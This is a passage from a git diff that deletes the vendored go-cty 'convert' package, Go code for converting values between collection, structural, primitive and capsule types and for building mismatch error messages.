primitiveConversionsUnsafe[in][out] - } - return nil - - case out.IsObjectType() && in.IsObjectType(): - return conversionObjectToObject(in, out, unsafe) - - case out.IsTupleType() && in.IsTupleType(): - return conversionTupleToTuple(in, out, unsafe) - - case out.IsListType() && (in.IsListType() || in.IsSetType()): - inEty := in.ElementType() - outEty := out.ElementType() - if inEty.Equals(outEty) { - // This indicates that we're converting from list to set with - // the same element type, so we don't need an element converter. - return conversionCollectionToList(outEty, nil) - } - - convEty := getConversion(inEty, outEty, unsafe) - if convEty == nil { - return nil - } - return conversionCollectionToList(outEty, convEty) - - case out.IsSetType() && (in.IsListType() || in.IsSetType()): - if in.IsListType() && !unsafe { - // Conversion from list to map is unsafe because it will lose - // information: the ordering will not be preserved, and any - // duplicate elements will be conflated. - return nil - } - inEty := in.ElementType() - outEty := out.ElementType() - convEty := getConversion(inEty, outEty, unsafe) - if inEty.Equals(outEty) { - // This indicates that we're converting from set to list with - // the same element type, so we don't need an element converter. - return conversionCollectionToSet(outEty, nil) - } - - if convEty == nil { - return nil - } - return conversionCollectionToSet(outEty, convEty) - - case out.IsMapType() && in.IsMapType(): - inEty := in.ElementType() - outEty := out.ElementType() - convEty := getConversion(inEty, outEty, unsafe) - if convEty == nil { - return nil - } - return conversionCollectionToMap(outEty, convEty) - - case out.IsListType() && in.IsTupleType(): - outEty := out.ElementType() - return conversionTupleToList(in, outEty, unsafe) - - case out.IsSetType() && in.IsTupleType(): - outEty := out.ElementType() - return conversionTupleToSet(in, outEty, unsafe) - - case out.IsMapType() && in.IsObjectType(): - outEty := out.ElementType() - return conversionObjectToMap(in, outEty, unsafe) - - case out.IsObjectType() && in.IsMapType(): - if !unsafe { - // Converting a map to an object is an "unsafe" conversion, - // because we don't know if all the map keys will correspond to - // object attributes. - return nil - } - return conversionMapToObject(in, out, unsafe) - - case in.IsCapsuleType() || out.IsCapsuleType(): - if !unsafe { - // Capsule types can only participate in "unsafe" conversions, - // because we don't know enough about their conversion behaviors - // to be sure that they will always be safe. - return nil - } - if in.Equals(out) { - // conversion to self is never allowed - return nil - } - if out.IsCapsuleType() { - if fn := out.CapsuleOps().ConversionTo; fn != nil { - return conversionToCapsule(in, out, fn) - } - } - if in.IsCapsuleType() { - if fn := in.CapsuleOps().ConversionFrom; fn != nil { - return conversionFromCapsule(in, out, fn) - } - } - // No conversion operation is available, then. - return nil - - default: - return nil - - } -} - -// retConversion wraps a conversion (internal type) so it can be returned -// as a Conversion (public type). -func retConversion(conv conversion) Conversion { - if conv == nil { - return nil - } - - return func(in cty.Value) (cty.Value, error) { - return conv(in, cty.Path(nil)) - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_capsule.go b/vendor/github.com/zclconf/go-cty/cty/convert/conversion_capsule.go deleted file mode 100644 index ded4079d42..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_capsule.go +++ /dev/null @@ -1,31 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -func conversionToCapsule(inTy, outTy cty.Type, fn func(inTy cty.Type) func(cty.Value, cty.Path) (interface{}, error)) conversion { - rawConv := fn(inTy) - if rawConv == nil { - return nil - } - - return func(in cty.Value, path cty.Path) (cty.Value, error) { - rawV, err := rawConv(in, path) - if err != nil { - return cty.NilVal, err - } - return cty.CapsuleVal(outTy, rawV), nil - } -} - -func conversionFromCapsule(inTy, outTy cty.Type, fn func(outTy cty.Type) func(interface{}, cty.Path) (cty.Value, error)) conversion { - rawConv := fn(outTy) - if rawConv == nil { - return nil - } - - return func(in cty.Value, path cty.Path) (cty.Value, error) { - return rawConv(in.EncapsulatedValue(), path) - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_collection.go b/vendor/github.com/zclconf/go-cty/cty/convert/conversion_collection.go deleted file mode 100644 index b33c57b47e..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_collection.go +++ /dev/null @@ -1,551 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// conversionCollectionToList returns a conversion that will apply the given -// conversion to all of the elements of a collection (something that supports -// ForEachElement and LengthInt) and then returns the result as a list. -// -// "conv" can be nil if the elements are expected to already be of the -// correct type and just need to be re-wrapped into a list. (For example, -// if we're converting from a set into a list of the same element type.) -func conversionCollectionToList(ety cty.Type, conv conversion) conversion { - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elems := make([]cty.Value, 0, val.LengthInt()) - i := int64(0) - elemPath := append(path.Copy(), nil) - it := val.ElementIterator() - for it.Next() { - _, val := it.Element() - var err error - - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(i), - } - - if conv != nil { - val, err = conv(val, elemPath) - if err != nil { - return cty.NilVal, err - } - } - elems = append(elems, val) - - i++ - } - - if len(elems) == 0 { - if ety == cty.DynamicPseudoType { - ety = val.Type().ElementType() - } - return cty.ListValEmpty(ety), nil - } - - return cty.ListVal(elems), nil - } -} - -// conversionCollectionToSet returns a conversion that will apply the given -// conversion to all of the elements of a collection (something that supports -// ForEachElement and LengthInt) and then returns the result as a set. -// -// "conv" can be nil if the elements are expected to already be of the -// correct type and just need to be re-wrapped into a set. (For example, -// if we're converting from a list into a set of the same element type.) -func conversionCollectionToSet(ety cty.Type, conv conversion) conversion { - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elems := make([]cty.Value, 0, val.LengthInt()) - i := int64(0) - elemPath := append(path.Copy(), nil) - it := val.ElementIterator() - for it.Next() { - _, val := it.Element() - var err error - - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(i), - } - - if conv != nil { - val, err = conv(val, elemPath) - if err != nil { - return cty.NilVal, err - } - } - elems = append(elems, val) - - i++ - } - - if len(elems) == 0 { - // Prefer a concrete type over a dynamic type when returning an - // empty set - if ety == cty.DynamicPseudoType { - ety = val.Type().ElementType() - } - return cty.SetValEmpty(ety), nil - } - - return cty.SetVal(elems), nil - } -} - -// conversionCollectionToMap returns a conversion that will apply the given -// conversion to all of the elements of a collection (something that supports -// ForEachElement and LengthInt) and then returns the result as a map. -// -// "conv" can be nil if the elements are expected to already be of the -// correct type and just need to be re-wrapped into a map. -func conversionCollectionToMap(ety cty.Type, conv conversion) conversion { - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elems := make(map[string]cty.Value, 0) - elemPath := append(path.Copy(), nil) - it := val.ElementIterator() - for it.Next() { - key, val := it.Element() - var err error - - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: key, - } - - keyStr, err := Convert(key, cty.String) - if err != nil { - // Should never happen, because keys can only be numbers or - // strings and both can convert to string. - return cty.DynamicVal, elemPath.NewErrorf("cannot convert key type %s to string for map", key.Type().FriendlyName()) - } - - if conv != nil { - val, err = conv(val, elemPath) - if err != nil { - return cty.NilVal, err - } - } - - elems[keyStr.AsString()] = val - } - - if len(elems) == 0 { - // Prefer a concrete type over a dynamic type when returning an - // empty map - if ety == cty.DynamicPseudoType { - ety = val.Type().ElementType() - } - return cty.MapValEmpty(ety), nil - } - - if ety.IsCollectionType() || ety.IsObjectType() { - var err error - if elems, err = conversionUnifyCollectionElements(elems, path, false); err != nil { - return cty.NilVal, err - } - } - - if err := conversionCheckMapElementTypes(elems, path); err != nil { - return cty.NilVal, err - } - - return cty.MapVal(elems), nil - } -} - -// conversionTupleToSet returns a conversion that will take a value of the -// given tuple type and return a set of the given element type. -// -// Will panic if the given tupleType isn't actually a tuple type. -func conversionTupleToSet(tupleType cty.Type, setEty cty.Type, unsafe bool) conversion { - tupleEtys := tupleType.TupleElementTypes() - - if len(tupleEtys) == 0 { - // Empty tuple short-circuit - return func(val cty.Value, path cty.Path) (cty.Value, error) { - return cty.SetValEmpty(setEty), nil - } - } - - if setEty == cty.DynamicPseudoType { - // This is a special case where the caller wants us to find - // a suitable single type that all elements can convert to, if - // possible. - setEty, _ = unify(tupleEtys, unsafe) - if setEty == cty.NilType { - return nil - } - - // If the set element type after unification is still the dynamic - // type, the only way this can result in a valid set is if all values - // are of dynamic type - if setEty == cty.DynamicPseudoType { - for _, tupleEty := range tupleEtys { - if !tupleEty.Equals(cty.DynamicPseudoType) { - return nil - } - } - } - } - - elemConvs := make([]conversion, len(tupleEtys)) - for i, tupleEty := range tupleEtys { - if tupleEty.Equals(setEty) { - // no conversion required - continue - } - - elemConvs[i] = getConversion(tupleEty, setEty, unsafe) - if elemConvs[i] == nil { - // If any of our element conversions are impossible, then the our - // whole conversion is impossible. - return nil - } - } - - // If we fall out here then a conversion is possible, using the - // element conversions in elemConvs - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elems := make([]cty.Value, 0, len(elemConvs)) - elemPath := append(path.Copy(), nil) - i := int64(0) - it := val.ElementIterator() - for it.Next() { - _, val := it.Element() - var err error - - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(i), - } - - conv := elemConvs[i] - if conv != nil { - val, err = conv(val, elemPath) - if err != nil { - return cty.NilVal, err - } - } - elems = append(elems, val) - - i++ - } - - return cty.SetVal(elems), nil - } -} - -// conversionTupleToList returns a conversion that will take a value of the -// given tuple type and return a list of the given element type. -// -// Will panic if the given tupleType isn't actually a tuple type. -func conversionTupleToList(tupleType cty.Type, listEty cty.Type, unsafe bool) conversion { - tupleEtys := tupleType.TupleElementTypes() - - if len(tupleEtys) == 0 { - // Empty tuple short-circuit - return func(val cty.Value, path cty.Path) (cty.Value, error) { - return cty.ListValEmpty(listEty), nil - } - } - - if listEty == cty.DynamicPseudoType { - // This is a special case where the caller wants us to find - // a suitable single type that all elements can convert to, if - // possible. - listEty, _ = unify(tupleEtys, unsafe) - if listEty == cty.NilType { - return nil - } - - // If the list element type after unification is still the dynamic - // type, the only way this can result in a valid list is if all values - // are of dynamic type - if listEty == cty.DynamicPseudoType { - for _, tupleEty := range tupleEtys { - if !tupleEty.Equals(cty.DynamicPseudoType) { - return nil - } - } - } - } - - elemConvs := make([]conversion, len(tupleEtys)) - for i, tupleEty := range tupleEtys { - if tupleEty.Equals(listEty) { - // no conversion required - continue - } - - elemConvs[i] = getConversion(tupleEty, listEty, unsafe) - if elemConvs[i] == nil { - // If any of our element conversions are impossible, then the our - // whole conversion is impossible. - return nil - } - } - - // If we fall out here then a conversion is possible, using the - // element conversions in elemConvs - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elems := make([]cty.Value, 0, len(elemConvs)) - elemTys := make([]cty.Type, 0, len(elems)) - elemPath := append(path.Copy(), nil) - i := int64(0) - it := val.ElementIterator() - for it.Next() { - _, val := it.Element() - var err error - - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(i), - } - - conv := elemConvs[i] - if conv != nil { - val, err = conv(val, elemPath) - if err != nil { - return cty.NilVal, err - } - } - elems = append(elems, val) - elemTys = append(elemTys, val.Type()) - - i++ - } - - elems, err := conversionUnifyListElements(elems, elemPath, unsafe) - if err != nil { - return cty.NilVal, err - } - return cty.ListVal(elems), nil - } -} - -// conversionObjectToMap returns a conversion that will take a value of the -// given object type and return a map of the given element type. -// -// Will panic if the given objectType isn't actually an object type. -func conversionObjectToMap(objectType cty.Type, mapEty cty.Type, unsafe bool) conversion { - objectAtys := objectType.AttributeTypes() - - if len(objectAtys) == 0 { - // Empty object short-circuit - return func(val cty.Value, path cty.Path) (cty.Value, error) { - return cty.MapValEmpty(mapEty), nil - } - } - - if mapEty == cty.DynamicPseudoType { - // This is a special case where the caller wants us to find - // a suitable single type that all elements can convert to, if - // possible. - objectAtysList := make([]cty.Type, 0, len(objectAtys)) - for _, aty := range objectAtys { - objectAtysList = append(objectAtysList, aty) - } - mapEty, _ = unify(objectAtysList, unsafe) - if mapEty == cty.NilType { - return nil - } - } - - elemConvs := make(map[string]conversion, len(objectAtys)) - for name, objectAty := range objectAtys { - if objectAty.Equals(mapEty) { - // no conversion required - continue - } - - elemConvs[name] = getConversion(objectAty, mapEty, unsafe) - if elemConvs[name] == nil { - // If any of our element conversions are impossible, then the our - // whole conversion is impossible. - return nil - } - } - - // If we fall out here then a conversion is possible, using the - // element conversions in elemConvs - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elems := make(map[string]cty.Value, len(elemConvs)) - elemPath := append(path.Copy(), nil) - it := val.ElementIterator() - for it.Next() { - name, val := it.Element() - var err error - - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: name, - } - - conv := elemConvs[name.AsString()] - if conv != nil { - val, err = conv(val, elemPath) - if err != nil { - return cty.NilVal, err - } - } - elems[name.AsString()] = val - } - - if mapEty.IsCollectionType() || mapEty.IsObjectType() { - var err error - if elems, err = conversionUnifyCollectionElements(elems, path, unsafe); err != nil { - return cty.NilVal, err - } - } - - if err := conversionCheckMapElementTypes(elems, path); err != nil { - return cty.NilVal, err - } - - return cty.MapVal(elems), nil - } -} - -// conversionMapToObject returns a conversion that will take a value of the -// given map type and return an object of the given type. The object attribute -// types must all be compatible with the map element type. -// -// Will panic if the given mapType and objType are not maps and objects -// respectively. -func conversionMapToObject(mapType cty.Type, objType cty.Type, unsafe bool) conversion { - objectAtys := objType.AttributeTypes() - mapEty := mapType.ElementType() - - elemConvs := make(map[string]conversion, len(objectAtys)) - for name, objectAty := range objectAtys { - if objectAty.Equals(mapEty) { - // no conversion required - continue - } - - elemConvs[name] = getConversion(mapEty, objectAty, unsafe) - if elemConvs[name] == nil { - // If any of our element conversions are impossible, then the our - // whole conversion is impossible. - return nil - } - } - - // If we fall out here then a conversion is possible, using the - // element conversions in elemConvs - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elems := make(map[string]cty.Value, len(elemConvs)) - elemPath := append(path.Copy(), nil) - it := val.ElementIterator() - for it.Next() { - name, val := it.Element() - - // if there is no corresponding attribute, we skip this key - if _, ok := objectAtys[name.AsString()]; !ok { - continue - } - - var err error - - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: name, - } - - conv := elemConvs[name.AsString()] - if conv != nil { - val, err = conv(val, elemPath) - if err != nil { - return cty.NilVal, err - } - } - - elems[name.AsString()] = val - } - - return cty.ObjectVal(elems), nil - } -} - -func conversionUnifyCollectionElements(elems map[string]cty.Value, path cty.Path, unsafe bool) (map[string]cty.Value, error) { - elemTypes := make([]cty.Type, 0, len(elems)) - for _, elem := range elems { - elemTypes = append(elemTypes, elem.Type()) - } - unifiedType, _ := unify(elemTypes, unsafe) - if unifiedType == cty.NilType { - return nil, path.NewErrorf("collection elements cannot be unified") - } - - unifiedElems := make(map[string]cty.Value) - elemPath := append(path.Copy(), nil) - - for name, elem := range elems { - if elem.Type().Equals(unifiedType) { - unifiedElems[name] = elem - continue - } - conv := getConversion(elem.Type(), unifiedType, unsafe) - if conv == nil { - } - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: cty.StringVal(name), - } - val, err := conv(elem, elemPath) - if err != nil { - return nil, err - } - unifiedElems[name] = val - } - - return unifiedElems, nil -} - -func conversionCheckMapElementTypes(elems map[string]cty.Value, path cty.Path) error { - elementType := cty.NilType - elemPath := append(path.Copy(), nil) - - for name, elem := range elems { - if elementType == cty.NilType { - elementType = elem.Type() - continue - } - if !elementType.Equals(elem.Type()) { - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: cty.StringVal(name), - } - return elemPath.NewErrorf("%s is required", elementType.FriendlyName()) - } - } - - return nil -} - -func conversionUnifyListElements(elems []cty.Value, path cty.Path, unsafe bool) ([]cty.Value, error) { - elemTypes := make([]cty.Type, len(elems)) - for i, elem := range elems { - elemTypes[i] = elem.Type() - } - unifiedType, _ := unify(elemTypes, unsafe) - if unifiedType == cty.NilType { - return nil, path.NewErrorf("collection elements cannot be unified") - } - - ret := make([]cty.Value, len(elems)) - elemPath := append(path.Copy(), nil) - - for i, elem := range elems { - if elem.Type().Equals(unifiedType) { - ret[i] = elem - continue - } - conv := getConversion(elem.Type(), unifiedType, unsafe) - if conv == nil { - } - elemPath[len(elemPath)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - val, err := conv(elem, elemPath) - if err != nil { - return nil, err - } - ret[i] = val - } - - return ret, nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_dynamic.go b/vendor/github.com/zclconf/go-cty/cty/convert/conversion_dynamic.go deleted file mode 100644 index 4d19cf6c5c..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_dynamic.go +++ /dev/null @@ -1,33 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// dynamicFixup deals with just-in-time conversions of values that were -// input-typed as cty.DynamicPseudoType during analysis, ensuring that -// we end up with the desired output type once the value is known, or -// failing with an error if that is not possible. -// -// This is in the spirit of the cty philosophy of optimistically assuming that -// DynamicPseudoType values will become the intended value eventually, and -// dealing with any inconsistencies during final evaluation. -func dynamicFixup(wantType cty.Type) conversion { - return func(in cty.Value, path cty.Path) (cty.Value, error) { - ret, err := Convert(in, wantType) - if err != nil { - // Re-wrap this error so that the returned path is relative - // to the caller's original value, rather than relative to our - // conversion value here. - return cty.NilVal, path.NewError(err) - } - return ret, nil - } -} - -// dynamicPassthrough is an identity conversion that is used when the -// target type is DynamicPseudoType, indicating that the caller doesn't care -// which type is returned. -func dynamicPassthrough(in cty.Value, path cty.Path) (cty.Value, error) { - return in, nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_object.go b/vendor/github.com/zclconf/go-cty/cty/convert/conversion_object.go deleted file mode 100644 index 62dabb8d1b..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_object.go +++ /dev/null @@ -1,76 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// conversionObjectToObject returns a conversion that will make the input -// object type conform to the output object type, if possible. -// -// Conversion is possible only if the output type is a subset of the input -// type, meaning that each attribute of the output type has a corresponding -// attribute in the input type where a recursive conversion is available. -// -// Shallow object conversions work the same for both safe and unsafe modes, -// but the safety flag is passed on to recursive conversions and may thus -// limit the above definition of "subset". -func conversionObjectToObject(in, out cty.Type, unsafe bool) conversion { - inAtys := in.AttributeTypes() - outAtys := out.AttributeTypes() - attrConvs := make(map[string]conversion) - - for name, outAty := range outAtys { - inAty, exists := inAtys[name] - if !exists { - // No conversion is available, then. - return nil - } - - if inAty.Equals(outAty) { - // No conversion needed, but we'll still record the attribute - // in our map for later reference. - attrConvs[name] = nil - continue - } - - attrConvs[name] = getConversion(inAty, outAty, unsafe) - if attrConvs[name] == nil { - // If a recursive conversion isn't available, then our top-level - // configuration is impossible too. - return nil - } - } - - // If we get here then a conversion is possible, using the attribute - // conversions given in attrConvs. - return func(val cty.Value, path cty.Path) (cty.Value, error) { - attrVals := make(map[string]cty.Value, len(attrConvs)) - path = append(path, nil) - pathStep := &path[len(path)-1] - - for it := val.ElementIterator(); it.Next(); { - nameVal, val := it.Element() - var err error - - name := nameVal.AsString() - *pathStep = cty.GetAttrStep{ - Name: name, - } - - conv, exists := attrConvs[name] - if !exists { - continue - } - if conv != nil { - val, err = conv(val, path) - if err != nil { - return cty.NilVal, err - } - } - - attrVals[name] = val - } - - return cty.ObjectVal(attrVals), nil - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_primitive.go b/vendor/github.com/zclconf/go-cty/cty/convert/conversion_primitive.go deleted file mode 100644 index 0d6fae9647..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_primitive.go +++ /dev/null @@ -1,57 +0,0 @@ -package convert - -import ( - "strings" - - "github.com/zclconf/go-cty/cty" -) - -var stringTrue = cty.StringVal("true") -var stringFalse = cty.StringVal("false") - -var primitiveConversionsSafe = map[cty.Type]map[cty.Type]conversion{ - cty.Number: { - cty.String: func(val cty.Value, path cty.Path) (cty.Value, error) { - f := val.AsBigFloat() - return cty.StringVal(f.Text('f', -1)), nil - }, - }, - cty.Bool: { - cty.String: func(val cty.Value, path cty.Path) (cty.Value, error) { - if val.True() { - return stringTrue, nil - } else { - return stringFalse, nil - } - }, - }, -} - -var primitiveConversionsUnsafe = map[cty.Type]map[cty.Type]conversion{ - cty.String: { - cty.Number: func(val cty.Value, path cty.Path) (cty.Value, error) { - v, err := cty.ParseNumberVal(val.AsString()) - if err != nil { - return cty.NilVal, path.NewErrorf("a number is required") - } - return v, nil - }, - cty.Bool: func(val cty.Value, path cty.Path) (cty.Value, error) { - switch val.AsString() { - case "true", "1": - return cty.True, nil - case "false", "0": - return cty.False, nil - default: - switch strings.ToLower(val.AsString()) { - case "true": - return cty.NilVal, path.NewErrorf("a bool is required; to convert from string, use lowercase \"true\"") - case "false": - return cty.NilVal, path.NewErrorf("a bool is required; to convert from string, use lowercase \"false\"") - default: - return cty.NilVal, path.NewErrorf("a bool is required") - } - } - }, - }, -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_tuple.go b/vendor/github.com/zclconf/go-cty/cty/convert/conversion_tuple.go deleted file mode 100644 index 592980a701..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/conversion_tuple.go +++ /dev/null @@ -1,71 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// conversionTupleToTuple returns a conversion that will make the input -// tuple type conform to the output tuple type, if possible. -// -// Conversion is possible only if the two tuple types have the same number -// of elements and the corresponding elements by index can be converted. -// -// Shallow tuple conversions work the same for both safe and unsafe modes, -// but the safety flag is passed on to recursive conversions and may thus -// limit which element type conversions are possible. -func conversionTupleToTuple(in, out cty.Type, unsafe bool) conversion { - inEtys := in.TupleElementTypes() - outEtys := out.TupleElementTypes() - - if len(inEtys) != len(outEtys) { - return nil // no conversion is possible - } - - elemConvs := make([]conversion, len(inEtys)) - - for i, outEty := range outEtys { - inEty := inEtys[i] - - if inEty.Equals(outEty) { - // No conversion needed, so we can leave this one nil. - continue - } - - elemConvs[i] = getConversion(inEty, outEty, unsafe) - if elemConvs[i] == nil { - // If a recursive conversion isn't available, then our top-level - // configuration is impossible too. - return nil - } - } - - // If we get here then a conversion is possible, using the element - // conversions given in elemConvs. - return func(val cty.Value, path cty.Path) (cty.Value, error) { - elemVals := make([]cty.Value, len(elemConvs)) - path = append(path, nil) - pathStep := &path[len(path)-1] - - i := 0 - for it := val.ElementIterator(); it.Next(); i++ { - _, val := it.Element() - var err error - - *pathStep = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - - conv := elemConvs[i] - if conv != nil { - val, err = conv(val, path) - if err != nil { - return cty.NilVal, err - } - } - - elemVals[i] = val - } - - return cty.TupleVal(elemVals), nil - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/doc.go b/vendor/github.com/zclconf/go-cty/cty/convert/doc.go deleted file mode 100644 index 2037299bab..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/doc.go +++ /dev/null @@ -1,15 +0,0 @@ -// Package convert contains some routines for converting between cty types. -// The intent of providing this package is to encourage applications using -// cty to have consistent type conversion behavior for maximal interoperability -// when Values pass from one application to another. -// -// The conversions are categorized into two categories. "Safe" conversions are -// ones that are guaranteed to succeed if given a non-null value of the -// appropriate source type. "Unsafe" conversions, on the other hand, are valid -// for only a subset of input values, and thus may fail with an error when -// called for values outside of that valid subset. -// -// The functions whose names end in Unsafe support all of the conversions that -// are supported by the corresponding functions whose names do not have that -// suffix, and then additional unsafe conversions as well. -package convert diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/mismatch_msg.go b/vendor/github.com/zclconf/go-cty/cty/convert/mismatch_msg.go deleted file mode 100644 index 581304ecd5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/mismatch_msg.go +++ /dev/null @@ -1,220 +0,0 @@ -package convert - -import ( - "bytes" - "fmt" - "sort" - - "github.com/zclconf/go-cty/cty" -) - -// MismatchMessage is a helper to return an English-language description of -// the differences between got and want, phrased as a reason why got does -// not conform to want. -// -// This function does not itself attempt conversion, and so it should generally -// be used only after a conversion has failed, to report the conversion failure -// to an English-speaking user. The result will be confusing got is actually -// conforming to or convertable to want. -// -// The shorthand helper function Convert uses this function internally to -// produce its error messages, so callers of that function do not need to -// also use MismatchMessage. -// -// This function is similar to Type.TestConformance, but it is tailored to -// describing conversion failures and so the messages it generates relate -// specifically to the conversion rules implemented in this package. -func MismatchMessage(got, want cty.Type) string { - switch { - - case got.IsObjectType() && want.IsObjectType(): - // If both types are object types then we may be able to say something - // about their respective attributes. - return mismatchMessageObjects(got, want) - - case got.IsTupleType() && want.IsListType() && want.ElementType() == cty.DynamicPseudoType: - // If conversion from tuple to list failed then it's because we couldn't - // find a common type to convert all of the tuple elements to. - return "all list elements must have the same type" - - case got.IsTupleType() && want.IsSetType() && want.ElementType() == cty.DynamicPseudoType: - // If conversion from tuple to set failed then it's because we couldn't - // find a common type to convert all of the tuple elements to. - return "all set elements must have the same type" - - case got.IsObjectType() && want.IsMapType() && want.ElementType() == cty.DynamicPseudoType: - // If conversion from object to map failed then it's because we couldn't - // find a common type to convert all of the object attributes to. - return "all map elements must have the same type" - - case (got.IsTupleType() || got.IsObjectType()) && want.IsCollectionType(): - return mismatchMessageCollectionsFromStructural(got, want) - - case got.IsCollectionType() && want.IsCollectionType(): - return mismatchMessageCollectionsFromCollections(got, want) - - default: - // If we have nothing better to say, we'll just state what was required. - return want.FriendlyNameForConstraint() + " required" - } -} - -func mismatchMessageObjects(got, want cty.Type) string { - // Per our conversion rules, "got" is allowed to be a superset of "want", - // and so we'll produce error messages here under that assumption. - gotAtys := got.AttributeTypes() - wantAtys := want.AttributeTypes() - - // If we find missing attributes then we'll report those in preference, - // but if not then we will report a maximum of one non-conforming - // attribute, just to keep our messages relatively terse. - // We'll also prefer to report a recursive type error from an _unsafe_ - // conversion over a safe one, because these are subjectively more - // "serious". - var missingAttrs []string - var unsafeMismatchAttr string - var safeMismatchAttr string - - for name, wantAty := range wantAtys { - gotAty, exists := gotAtys[name] - if !exists { - missingAttrs = append(missingAttrs, name) - continue - } - - // We'll now try to convert these attributes in isolation and - // see if we have a nested conversion error to report. - // We'll try an unsafe conversion first, and then fall back on - // safe if unsafe is possible. - - // If we already have an unsafe mismatch attr error then we won't bother - // hunting for another one. - if unsafeMismatchAttr != "" { - continue - } - if conv := GetConversionUnsafe(gotAty, wantAty); conv == nil { - unsafeMismatchAttr = fmt.Sprintf("attribute %q: %s", name, MismatchMessage(gotAty, wantAty)) - } - - // If we already have a safe mismatch attr error then we won't bother - // hunting for another one. - if safeMismatchAttr != "" { - continue - } - if conv := GetConversion(gotAty, wantAty); conv == nil { - safeMismatchAttr = fmt.Sprintf("attribute %q: %s", name, MismatchMessage(gotAty, wantAty)) - } - } - - // We should now have collected at least one problem. If we have more than - // one then we'll use our preference order to decide what is most important - // to report. - switch { - - case len(missingAttrs) != 0: - sort.Strings(missingAttrs) - switch len(missingAttrs) { - case 1: - return fmt.Sprintf("attribute %q is required", missingAttrs[0]) - case 2: - return fmt.Sprintf("attributes %q and %q are required", missingAttrs[0], missingAttrs[1]) - default: - sort.Strings(missingAttrs) - var buf bytes.Buffer - for _, name := range missingAttrs[:len(missingAttrs)-1] { - fmt.Fprintf(&buf, "%q, ", name) - } - fmt.Fprintf(&buf, "and %q", missingAttrs[len(missingAttrs)-1]) - return fmt.Sprintf("attributes %s are required", buf.Bytes()) - } - - case unsafeMismatchAttr != "": - return unsafeMismatchAttr - - case safeMismatchAttr != "": - return safeMismatchAttr - - default: - // We should never get here, but if we do then we'll return - // just a generic message. - return "incorrect object attributes" - } -} - -func mismatchMessageCollectionsFromStructural(got, want cty.Type) string { - // First some straightforward cases where the kind is just altogether wrong. - switch { - case want.IsListType() && !got.IsTupleType(): - return want.FriendlyNameForConstraint() + " required" - case want.IsSetType() && !got.IsTupleType(): - return want.FriendlyNameForConstraint() + " required" - case want.IsMapType() && !got.IsObjectType(): - return want.FriendlyNameForConstraint() + " required" - } - - // If the kinds are matched well enough then we'll move on to checking - // individual elements. - wantEty := want.ElementType() - switch { - case got.IsTupleType(): - for i, gotEty := range got.TupleElementTypes() { - if gotEty.Equals(wantEty) { - continue // exact match, so no problem - } - if conv := getConversion(gotEty, wantEty, true); conv != nil { - continue // conversion is available, so no problem - } - return fmt.Sprintf("element %d: %s", i, MismatchMessage(gotEty, wantEty)) - } - - // If we get down here then something weird is going on but we'll - // return a reasonable fallback message anyway. - return fmt.Sprintf("all elements must be %s", wantEty.FriendlyNameForConstraint()) - - case got.IsObjectType(): - for name, gotAty := range got.AttributeTypes() { - if gotAty.Equals(wantEty) { - continue // exact match, so no problem - } - if conv := getConversion(gotAty, wantEty, true); conv != nil { - continue // conversion is available, so no problem - } - return fmt.Sprintf("element %q: %s", name, MismatchMessage(gotAty, wantEty)) - } - - // If we get down here then something weird is going on but we'll - // return a reasonable fallback message anyway. - return fmt.Sprintf("all elements must be %s", wantEty.FriendlyNameForConstraint()) - - default: - // Should not be possible to get here since we only call this function - // with got as structural types, but... - return want.FriendlyNameForConstraint() + " required" - } -} - -func mismatchMessageCollectionsFromCollections(got, want cty.Type) string { - // First some straightforward cases where the kind is just altogether wrong. - switch { - case want.IsListType() && !(got.IsListType() || got.IsSetType()): - return want.FriendlyNameForConstraint() + " required" - case want.IsSetType() && !(got.IsListType() || got.IsSetType()): - return want.FriendlyNameForConstraint() + " required" - case want.IsMapType() && !got.IsMapType(): - return want.FriendlyNameForConstraint() + " required" - } - - // If the kinds are matched well enough then we'll check the element types. - gotEty := got.ElementType() - wantEty := want.ElementType() - noun := "element type" - switch { - case want.IsListType(): - noun = "list element type" - case want.IsSetType(): - noun = "set element type" - case want.IsMapType(): - noun = "map element type" - } - return fmt.Sprintf("incorrect %s: %s", noun, MismatchMessage(gotEty, wantEty)) -} diff --git 